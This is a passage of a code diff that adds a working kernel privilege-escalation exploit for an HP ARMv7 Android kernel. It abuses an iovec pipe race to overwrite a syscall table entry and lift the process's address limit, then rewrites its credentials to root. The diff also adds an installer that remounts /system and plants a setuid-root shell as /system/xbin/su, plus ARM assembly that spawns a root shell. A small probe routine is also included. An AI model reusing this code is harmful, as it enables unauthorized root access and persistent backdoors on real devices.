 	kill_switch = 1;
 	return 1;
 }
 #ifndef PROBE_ONLY
 __attribute__((naked, noinline))
 struct thread_info* patchaddrlimit(void)
 {
 	/*
 	 * This function executes as the temporary syscall body.  Keep it fully
 	 * self-contained: old kernel headers express current_thread_info() with
 	 * a register variable that modern Clang miscompiles at -O0.
 	 *
 	 * HP's ARMv7 kernel uses an 8 KiB kernel stack and TI_ADDR_LIMIT == 8.
 	 * r0 is both the computed thread_info pointer and the return value.
 	 */
 	__asm__ volatile(
 		"mov r0, sp\n"
 		"lsr r0, r0, #13\n"
 		"lsl r0, r0, #13\n"
 		"mvn r1, #0\n"
 		"str r1, [r0, #8]\n"
 		"bx lr\n");
 }
 int getroot()
 {
 	int ret = 1;
 	struct thread_info* ti;
 	unsigned long original_ni_syscall = 0;
    unsigned long sys_call_table_base = get_sys_table_base();
 	if(write_at_address((void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
 	                    (unsigned long)&patchaddrlimit))
 		return 1;
    ti = (struct thread_info*)syscall(__NR_exp_);
    if(ti == -1 || ti < KERNEL_START) {
    	LOGD("syscall failed, errno:%d\n", errno);
    	return -1;
    }
 	/*
 	 * Restore the table before touching credentials.  Syscalls 222 and 223
 	 * are both sys_ni_syscall in this HP kernel tree, so entry 223 is a safe
 	 * authoritative source for the original pointer.
 	 */
 	if (read_at_address_pipe(
 	        (void *)(uintptr_t)(sys_call_table_base + (__NR_exp_ + 1) * 4),
 	        &original_ni_syscall, sizeof(original_ni_syscall)) ||
 	    write_at_address_pipe(
 	        (void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
 	        &original_ni_syscall, sizeof(original_ni_syscall))) {
 		LOGD("failed to restore syscall 222\n");
 		goto end;
 	}
 	LOGD("restored syscall 222 to 0x%08lx\n", original_ni_syscall);
    if(modify_task_cred_uc(ti))
        goto end;
 	ret = 0;
 end:
 	return ret;
 }
 int iov_main()
 {
 	unsigned int i;
 	int ret = 1;
 	if(setfdlimit())
 		return 1;
 	// if(setprocesspriority())
 	// 	return 1;
 	if(getpipes())
 		return 1;
 	if(initmappings())
 		return 1;
 	ret = getroot();
 	//let the threads end
 	if (ret != 0) {
 		LOGD("iov ret:%d\n", ret);
 	}
 	sleep(2);
 	close(pipefd[0]);
 	close(pipefd[1]);
 	if(getuid() == 0)
 	{
 		return 0;
 	}
 	return 1;
 }
 #endif
 /*
 * Non-privileged vulnerability probe.  It exercises the same iovec race as
 * the exploit, but both destinations are ordinary writable variables in this
 * process.  It never supplies a kernel address and never modifies credentials.
 */
 int iov_probe(void)
 {
 	volatile unsigned long safe_target = MEMMAGIC;
 	const unsigned long probe_value = 0x434F4445;
 	int ret;
 	if (setfdlimit())
 		return 2;
 	if (getpipes())
 		return 2;
 	if (initmappings())
 		return 2;
 	ret = write_at_address((void *)&safe_target, probe_value);
 	sleep(1);
 	kill_switch = 1;
 	close(pipefd[0]);
 	close(pipefd[1]);
 	printf("probe ret=%d overflowcheck=0x%08lx target=0x%08lx\n",
 	       ret, overflowcheck, safe_target);
 	return (ret == 0 && overflowcheck == probe_value &&
 	        safe_target == probe_value) ? 0 : 1;
 }
@@ -0,0 +1,15 @@
 #define _GNU_SOURCE
 #include <stdio.h>
 #include <unistd.h>
 #include "exp_iov.h"
 int main(void)
 {
    int rc = iov_main();
    printf("exploit rc=%d uid=%d gid=%d\n", rc, getuid(), getgid());
    if (rc != 0 || getuid() != 0)
        return 1;
    execl("/data/local/tmp/install-root", "install-root", (char *)0);
    perror("exec install-root");
    return 2;
 }
@@ -0,0 +1 @@
 #pragma once
@@ -0,0 +1,71 @@
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <string.h>
 #include <sys/mount.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
 static int
 copy_file(const char *source, const char *destination)
 {
  char buffer[16384];
  int input = -1;
  int output = -1;
  int result = -1;
  ssize_t count;
  input = open(source, O_RDONLY);
  if (input < 0)
    goto out;
  output = open(destination, O_WRONLY | O_CREAT | O_TRUNC, 0755);
  if (output < 0)
    goto out;
  while ((count = read(input, buffer, sizeof(buffer))) > 0) {
    char *cursor = buffer;
    ssize_t remaining = count;
    while (remaining > 0) {
      ssize_t written = write(output, cursor, remaining);
      if (written <= 0)
        goto out;
      cursor += written;
      remaining -= written;
    }
  }
  if (count < 0 || fchown(output, 0, 0) != 0 ||
      fchmod(output, 06755) != 0 || fsync(output) != 0)
    goto out;
  result = 0;
 out:
  if (output >= 0)
    close(output);
  if (input >= 0)
    close(input);
  return result;
 }
 int
 main(void)
 {
  int result;
  printf("installer uid=%d gid=%d\n", getuid(), getgid());
  if (getuid() != 0)
    return 2;
  if (mount(NULL, "/system", NULL, MS_REMOUNT, NULL) != 0) {
    printf("remount-rw failed: %s\n", strerror(errno));
    return 3;
  }
  result = copy_file("/data/local/tmp/rootsh-armv7", "/system/xbin/su");
  sync();
  if (mount(NULL, "/system", NULL, MS_REMOUNT | MS_RDONLY, NULL) != 0)
    printf("remount-ro warning: %s\n", strerror(errno));
  printf("install-su %s\n", result == 0 ? "ok" : "failed");
  return result == 0 ? 0 : 4;
 }
@@ -0,0 +1,37 @@
    .syntax unified
    .arm
    .section .text
    .global _start
    .type _start, %function
 _start:
    ldr r3, [sp]            @ argc
    add r4, sp, #4          @ argv = &stack[1]
    add r5, r4, r3, lsl #2 @ envp = argv + argc
    add r5, r5, #4          @ skip argv terminator
    mov r0, #0
    mov r1, #0
    mov r2, #0
    mov r7, #170            @ setresgid(0, 0, 0)
    svc #0
    mov r0, #0
    mov r1, #0
    mov r2, #0
    mov r7, #164            @ setresuid(0, 0, 0)
    svc #0
    adr r0, shell_path
    mov r1, r4
    mov r2, r5
    mov r7, #11             @ execve("/system/bin/sh", argv, envp)
    svc #0
    mov r0, #127
    mov r7, #1              @ exit(127)
    svc #0
    .align 2
 shell_path:
    .asciz "/system/bin/sh"
    .size _start, .-_start